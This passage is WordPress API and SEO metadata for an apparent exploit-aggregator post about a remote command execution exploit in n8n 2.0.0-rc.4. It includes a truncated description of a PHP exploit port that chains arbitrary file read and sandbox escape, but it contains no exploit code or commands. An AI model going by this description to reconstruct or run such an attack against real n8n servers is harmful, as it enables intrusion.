Execution_PACKETSTORM:214620\",\"datePublished\":\"2026-01-30T12:54:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351\"},\"wordCount\":2399,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38351#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351\",\"name\":\"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-30T12:54:24+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38351\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38351#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=38351","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:48:29&#8243;,&#8221;description&#8221;:&#8221;n8n version 2.0.0-rc.4 PHP port of a research exploit that chains together multiple vulnerabilities including arbitrary file read and sandbox escape in order to achieve...","og_url":"https:\/\/zero.redgem.net\/?p=38351","og_site_name":"zero redgem","article_published_time":"2026-01-30T12:54:24+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=38351#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=38351"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620","datePublished":"2026-01-30T12:54:24+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=38351"},"wordCount":2399,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=38351#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=38351","url":"https:\/\/zero.redgem.net\/?p=38351","name":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-30T12:54:24+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=38351#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=38351"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=38351#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 n8n 2.0.0-rc.4 Remote Command Execution_PACKETSTORM:214620"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=38351"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/38351\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=38351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=38351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=38351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}